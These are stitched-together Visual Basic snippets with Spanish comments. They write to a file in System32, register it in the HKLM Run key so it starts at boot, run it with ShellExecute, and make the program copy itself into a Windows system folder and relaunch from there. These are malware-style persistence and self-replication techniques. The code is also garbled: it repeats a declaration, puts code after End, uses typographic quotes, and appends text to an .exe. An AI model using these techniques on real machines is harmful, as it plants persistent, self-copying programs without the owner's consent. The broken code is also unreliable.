'Agregar texto
Open "C:\Windows\System32\prueba.exe" For Append As #1
Print #1, "echo 1001011"
Close #1
End

'Guardar el Archivo en el registro de Windows
Dim DireccionArchivo
DireccionArchivo = “C:\Windows\System32\prueba.exe”
Set GuardarReg = CreateObject("WScript.Shell")
GuardarReg.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Prueba", DireccionArchivo

'Correr Archivo
Private Declare Function ShellExecute Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long


DireccionArchivo = “C:\Windows\System32\prueba.exe”
CorrerExe = ShellExecute(Me.hwnd, "Open", DireccionArchivo, "", "", 1)

'-Correr Archivo-------------------------------------------------------------------------
Private Declare Function ShellExecute Lib "shell32.dll" Alias _
"ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, _
ByVal lpFile As String, ByVal lpParameters As String, _
ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
'----------------------------------------------------------------------------------------------
Dim NuevaDireccionEjecutar As String
Dim DireccionEjecutado As String
Dim CorrerExe As Long

'-Crea otro .exe en otro lado ------------------------------------------------------------------
On Error Resume Next
'-Dirección Donde se Esta Ejecutando
DireccionEjecutado = App.Path & "\" & App.EXEName & ".exe"
'-Dirección Donde Se Copiara Para Ejecutar (aca pones donde se copiara)
NuevaDireccionEjecutar = "C:\WINDOWS\SYSTEM\Nuevo.exe"
'-Copiando Se al Lugar Donde Se ejecutara
FileCopy DireccionEjecutado, NuevaDireccionEjecutar
'---------------------------------------------------------------------------------------------

'-----Para Que se ejecute Siempre  el Nuevo Archivo------------------------------
If DireccionEjecutado = NuevaDireccionEjecutar Then
'Correr este Normalmente
Else
'Cerrar este .Exe y Ejecutar el Nuevo .Exe"
CorrerExe = ShellExecute(Me.hwnd, "Open", NuevaDireccionEjecutar, "", "", 1)
End
End If
'---------------------------------------------------------------------------------------------